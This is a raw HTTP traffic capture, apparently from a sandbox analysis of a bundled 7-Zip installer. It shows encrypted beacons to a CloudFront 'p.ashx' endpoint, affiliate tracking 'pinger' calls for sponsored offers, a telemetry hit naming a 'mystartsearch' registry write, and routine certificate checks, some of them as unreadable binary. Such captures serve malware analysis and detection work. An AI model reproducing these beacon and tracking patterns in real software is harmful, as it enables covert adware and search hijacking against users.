GET /p.ashx?e=eFCD8T/coic9XN4SPQf2KR0A8JFzEu3P43ARP/2L O6MDmRWpWBZ0CAvELRpepitKPuMdH9xkPFYS5k6/5B5fItzmslvEwWlLhu0b45kiT YRPInKLFMVV2fkhc dP37s IILilpWF3SrJmHujm63Cf5bqaDCRXd5hh73raZ3I13CCeuVDoTn5Kni8lsWRMlmajeFMKJ0gs7uN2gq7SxaZvtaGf5 3yzBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:01 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: rFh0IKYEmV4il8oozbzug4m8WQHOXitsZ9zSbK4Ab3u6iBpDEzcpzA==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 2015 03:58:01 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 e13dc20cb35881b25fb296fb0383f5
5c.cloudfront.net (CloudFront)..X-Amz-Cf-Id: rFh0IKYEmV4il8oozbzug4m8W
QHOXitsZ9zSbK4Ab3u6iBpDEzcpzA==......


GET /p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va9T0skxmwV AvCKQhXfcYgO0JQd5HxgIXe6hh4TSs5wkW3TZxLuun9qRgWBdCKjfmtrp4QvWU0ETeE6sju5 rgUTyd34HzPJcwqWvr3OUkCK3vhVF7LCpBZilRRX95CiBDiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WVBjiLuIYzNRAS1q 0zoNWeofdRBFT4JiFN2uNb3Su1Px8I08wxlBW/ HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:11 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 0I0JsAf3GSIHDOvMyncx2HI030gET772dL7hGaJp8YpqeILtcRmxTw==
....


GET /p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va8U4NDWVSf76ATxIUcsgQ wO1MeTElIgRus2zM3OKTsdhhqfTLLUt3A0w03bJUd6M6r6tum2 2Wo8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sffLvMskXURCzrc1AUpN3cv8q3zHqQRjik21pePrvX0eh8Donn6 l9Ew= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:11 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: LVZZWTxm7gbTn6jCR9W-Mb-v5K825UGwEZVkrJhP5jHxaxYKlrAHXQ==
....


GET /p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/aaY YTEt5UpR90anDedSCwwlzaMFN/KKrJhv0HKSN7b 4IgVQCGNdqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1OGtgGPBLNiKmYNGV/LfiHJzSIiIPHC49anS0RWv4TbB4GFXwsYdq8pWauENVV1rDA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:12 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: wY6qdfaCfGzPmVcdffweS8P-Sm35CNm_hY5evNB54OMlj5fBb8dS2w==
....


GET /p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va9DzSREg8dBLdCUHeR8YCF3e0ze47pQVOJ6ui3jv/3sP/4jVWMunDHWleI3B6uYg8lqpwuyqc3XiTEOgAi5qcHFAjty0U0tb3YV31 7Nekt0xm46XXR1FJOjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LW6zVFlLdS7 Sp4vJbFkTJZmo3hTCidILO7jdoKu0sWmb7Whn ft8sw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:12 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: WA6LrTnAmzLPaopQdS7poo3kqheLDF3V5uD02mt9IgMJP02erS-qrg==
....


GET /p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va9MPpNra519lzs1eJiiYYwojgb6v7cXpPvbiGjjio4NqpcQqJAqvU1Umua4LEJhhF3iLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WVBjiLuIYzNRAS1q 0zoNWeofdRBFT4JiFN2uNb3Su1Px8I08wxlBW/ HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:12 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: P2W5oLlh4udJuW51C5-fqFo34Lq_WyNZrc9h0DeO2kHG8lPThU1cNQ==
....


GET /p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va91Q6BhL4ofYRQC drCF7eF7LQ fMG3nUOoTeqbC3Z0rIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS1us1RZS3Uu/kqeLyWxZEyWZqN4UwonSCzu43aCrtLFpm 1oZ/n7fLM= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:12 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: _8xOnrh_UP1gQtfGk64GOC0Bi0iAsaeNdcq_0eKnsQZYF2G5YZ-73A==
....


GET /p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/mJXdux5Fvl9n5EWJRAEnQKYX3Ti/i3YP1b661ON6JHo8ELrHrpRwVw1PcYrVm0Q9XQ9J8KSs5a4MNpNQo19uHgy6YlW82m1mJd/JSmlPgygFakk3mKHZ8nZ92R8WPtSPD39uruDJE98eAAVArKptKUdW1y396VwWkTqbSbpNNR48UBgfn/EdyjMb3M1eFmdc2 Le3/eDB Eeu2KCTq4AUbl4e0/dEFirVXgd6TQBX2bwyCrtkSlvF94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsiWjWDbDO01nl1RsMTuliUxn1AGu4sOOmJ8dS hSuNt4cRt5SusbiWA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:02 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: PGu3Vn7XNpJ-DHSgNSQfAYQd3Yy3XEGii-B-3RP2hOQjp3Ajy_f4dQ==
....


GET /p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va8FwTBnjqtB6SJSQWKLfKoAjgb6v7cXpPtruJ2zeNP9BRjldEvIPSqUjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LW6zVFlLdS7 Sp4vJbFkTJZmo3hTCidILO7jdoKu0sWmb7Whn ft8sw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:12 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: kvret3Hr5CSnvVQKYA-uAck66S0Z1CD-RBIFTFJRyl7cXAgmo5UlYg==
....


GET /p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va AW1ilHO0XlqaFGmNQisoEs IILilpWF2V9PoQYImhoi5ITADj fT8xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux98u8yyRdRELOtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HwOiefr6X0TA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:02 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: x-qBJVtUY-fpAwzJxi33vMN8l6ccF0juNSf6F0poTs1C-Ey4oqJ_uQ==
....


GET /p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/LS8QKBdwSe29z1KklHinBKYX3Ti/i3YMgCmKZYKupqUHUSCCw4FeFDxvb2glxipSM0fuUANTo2024kL2X34LpxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux98u8yyRdRELOtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HwOiefr6X0TA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:13 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: psDZoZI7ocj6oj9PpoiQ_O1PgP44aYccZYwGYI3VEDxpZPyTvpt5rQ==
....


GET /p.ashx?e=043Mckb8LnhPNjxRBLtb458QinFONRS1/WD6e6SZIIGq9exvwYRubwRSl12vCJvFO0r kKXC exNoyGqz0C5tb1jMdSA82QgIkh5vx8m4RUvXgNHItgY0G iVxYuINcn b/YhL9w2PTXoMXpqBnYfZA47cWpTsAc333RAvM0VMAVvLxh6eIKnHvKbjUyzCCcFAL52sIXt4WvqlYaxbLxssmdOYlMc5582M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2kxAGnJe6ozK4TqyO7n6uBRPJ3fgfM8lzCpa vc5SQIre FUXssKkFksYsB9OsCPqg== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:02 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 6WQYb-scOiad_8EEccRPRT9IuZUPGX8UQ9nshR--mN5PAhspSQU9HQ==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 2015 03:58:02 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 e13dc20cb35881b25fb296fb0383f5
5c.cloudfront.net (CloudFront)..X-Amz-Cf-Id: 6WQYb-scOiad_8EEccRPRT9Iu
ZUPGX8UQ9nshR--mN5PAhspSQU9HQ==......


GET /p.ashx?e=KC46TpkJIZzvtemz1TdLVimVSxD0vRfV7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlkiqa1CzzkCRWOvghCBTr/XvKbjUyzCCcFAL52sIXt4UXMdeVS0aoyqaY9smyAWh8mM5hZr01z5BPRfpuA3pV/ Jv7yVw7xdhvEq1XCmEIT/KGwMMc0gnpNgExseWQzn2EHlpLL4kVIU2Yigf/vHml3fTzht6ovY1YV lHKmkCemqn1dzsO21qNjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29pMQBpyXuqMyuE6sju5 rgUTyd34HzPJcwqWvr3OUkCK3vhVF7LCpBZLGLAfTrAj6o= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:21 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: riHu7Ai-ugAAOUlGVkFuBsMasVEGxjlDG5wHik_5Hly0h9W3p5YUKQ==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 2015 03:58:21 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 e13dc20cb35881b25fb296fb0383f5
5c.cloudfront.net (CloudFront)..X-Amz-Cf-Id: riHu7Ai-ugAAOUlGVkFuBsMas
VEGxjlDG5wHik_5Hly0h9W3p5YUKQ==..



GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=032b51a823ded246ba19346b82f99535&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=dff471ae8875df20b51e21b816962f44&tokyo_csrf2_timestamp=1423886467&slot_number=1&index_in_screen=1&index_in_session=1&0.2669770722692098 HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/032b51a823ded246ba19346b82f99535?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.1353110465.1423886295.1423886295.1423886295.1; __utmb=1.5.10.1423886295; __utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 04:02:03 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 14 Feb 2015 04:02:03 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=032b51a823ded246ba19346b82f99535&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=dff471ae8875df20b51e21b816962f44&tokyo_csrf2_timestamp=1423886467&slot_number=3&index_in_screen=1&index_in_session=3&display_height=75&0.670880497716196 HTTP/1.1


Accept: */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/032b51a823ded246ba19346b82f99535?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.1353110465.1423886295.1423886295.1423886295.1; __utmb=1.5.10.1423886295; __utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 04:02:09 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 14 Feb 2015 04:02:09 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /gscodesignsha2g2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQpEOCqbmTiQA9OjY//t2aa8NSkuwQUGUq4WuRNMaUU5V7sL6Mc+oCMMmsCEhEhEciVJl3DcOpdbVDkbeKcRg== HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp2.globalsign.com


HTTP/1.1 200 OK
Date: Sat, 14 Feb 2015 04:02:07 GMT
Content-Type: application/ocsp-response
Content-Length: 1493
Connection: keep-alive
Set-Cookie: __cfduid=d7192e2c72f3d5667d14efffaf6fde8011423886527; expires=Sun, 14-Feb-16 04:02:07 GMT; path=/; domain=.globalsign.com; HttpOnly
X-Powered-By: Servlet/3.0; JBossAS-6
ETag: 5f173715d42072635918beb5a86061ad7607d0a4
Expires: Sat, 14 Feb 2015 08:28:02 GMT
Last-Modified: Fri, 13 Feb 2015 20:28:02 GMT
Cache-Control: max-age=180, public, no-transform, must-revalidate
CF-Cache-Status: HIT
Server: cloudflare-nginx
CF-RAY: 1b865e4b04b500dd-AMS
0..........0..... .....0......0...0........w..;....wp......f...2015021
3202802Z0u0s0K0... ........)[email protected]...^./.....2k.
..!...&].p.]mP.m..F....20150213202802Z....20150214082802Z0...*.H......
.....H...........>.../.c..R......*....B..........U.;.&c...X.8..1.u.
.V..v~_s..B...y....n..e...2@..(.....n....E...b.Fy..?s..L.$.'..)...iI{.
........w....c.T.....$p7u...?5.=,:GZ....m.E.:...... ..........[..:..lK
......p...2p..... .a.q.a:."....g..&Ib....9.f..G....P......0...0...0...
........!........kl......0...*.H........0Z1.0...U....BE1.0...U....Glob
alSign nv-sa100...U...'GlobalSign CodeSigning CA - SHA256 - G20...1412
29102646Z..150329092646Z0..1.0...U....BE1.0...U....GlobalSign nv-sa1C0
A..U...:GlobalSign CodeSigning CA - SHA256 - G2 OCSP responder - 11.0.
..U....201412291126000.."0...*.H.............0...........d..}.f..4..m&
lt;O.h.0$^U6...CO....q?..;....B%.....#[email protected]...[@.X...d...m.pU..
.~......t...".8..`..>..$8...{.s.ul`....$...P........8....-..?...>
;gBsT^..1..\2..].%/...Z$6...R.........g@7_.P.0r.h..d.w......:.. ..z..k
....Z.......i....>.Y.,..H.|..p.. .<i...........0..0...U....0.0..
.U...........0...U.%..0... .......0... .....0......0...U........w..;..
..wp......f.0...U.#..0....J.Z.M1...^./.....2k0...*.H.............|...w
..:..)S.h..%X..;.vle..=...4....X.:[H..!.....".....F.;. ._.@..,.5.o.f..
m....9i..U.....=..S.C(/..-Z....p..E..\.#.....~.M. M....*.V....v./|..]`
.t.VC. .K....E..@......*`Yx.....2.K..cv.4..qg.5'.....I...X....ZnL...7.
/...k......$.;.'B...[[6...8G.v\....(X.,....
<<< skipped >>>


GET /root.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.globalsign.net


HTTP/1.1 200 OK
Date: Sat, 14 Feb 2015 04:02:08 GMT
Content-Type: application/x-pkcs7-crl
Content-Length: 649
Connection: keep-alive
Set-Cookie: __cfduid=d538d4ae10a90a6c0f3c35701ba8172401423886528; expires=Sun, 14-Feb-16 04:02:08 GMT; path=/; domain=.globalsign.net; HttpOnly
Last-Modified: Thu, 11 Dec 2014 05:33:27 GMT
CF-Cache-Status: HIT
Expires: Sun, 15 Feb 2015 04:02:08 GMT
Cache-Control: public, max-age=86400
Accept-Ranges: bytes
Server: cloudflare-nginx
CF-RAY: 1b865e51efd000dd-AMS
0...0..m...0...*.H........0W1.0...U....BE1.0...U....GlobalSign nv-sa1.
0...U....Root CA1.0...U....GlobalSign Root CA..141210000000Z..15033100
0000Z0..0*.........D.....141125000000Z0.0...U.......0*........)E.....1
41125000000Z0.0...U.......0*........ ...h..141125000000Z0.0...U.......
0*........,^.....141125000000Z0.0...U......../0-0...U....../0...U.#..0
...`{f.E....P/}..4....K0...*.H..............'~.f...V'..4..)..7....hg..
.,.f5k&'.....D.(.n...EV.Hx.h..Y...d..>....n.../.\...r....%ZX-Du....
.^/K.&.).....24.,.q..l.N..W.,.Lx...U'(.qn..^j5R........d_,.h8......C..
S..6$..(.\..5... n5h...<......za2.#r..E)..?..R.r..R.i...\.....9k...
w..V46..m...u..I.L.......HTTP/1.1 200 OK..Date: Sat, 14 Feb 2015 04:02
:08 GMT..Content-Type: application/x-pkcs7-crl..Content-Length: 649..C
onnection: keep-alive..Set-Cookie: __cfduid=d538d4ae10a90a6c0f3c35701b
a8172401423886528; expires=Sun, 14-Feb-16 04:02:08 GMT; path=/; domain
=.globalsign.net; HttpOnly..Last-Modified: Thu, 11 Dec 2014 05:33:27 G
MT..CF-Cache-Status: HIT..Expires: Sun, 15 Feb 2015 04:02:08 GMT..Cach
e-Control: public, max-age=86400..Accept-Ranges: bytes..Server: cloudf
lare-nginx..CF-RAY: 1b865e51efd000dd-AMS..0...0..m...0...*.H........0W
1.0...U....BE1.0...U....GlobalSign nv-sa1.0...U....Root CA1.0...U....G
lobalSign Root CA..141210000000Z..150331000000Z0..0*.........D.....141
125000000Z0.0...U.......0*........)E.....141125000000Z0.0...U.......0*
........ ...h..141125000000Z0.0...U.......0*........,^.....14112500000
0Z0.0...U......../0-0...U....../0...U.#..0...`{f.E....P/}..4....K0
<<< skipped >>>


GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.RegWrite HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sat, 14 Feb 2015 04:01:04 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.73 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 14 Feb 20
15 04:01:04 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.73 ms","message":"store 1 ac
tion and 0 update "}..0..



POST /ocsp HTTP/1.1
Host: clients1.google.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 107
Content-Type: application/ocsp-request
Connection: keep-alive

0i0g0E0C0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.._..S...a..0.0... .....0...
0... .....0..
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
Date: Sat, 14 Feb 2015 04:00:40 GMT
Expires: Wed, 18 Feb 2015 04:00:40 GMT
Cache-Control: public, max-age=345600
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic,p=0.08
0..........0..... .....0......0...0......J......h.v....b..Z./..2015021
4010713Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
._..S...a....20150214010713Z....20150221010713Z0...*.H.............@&.
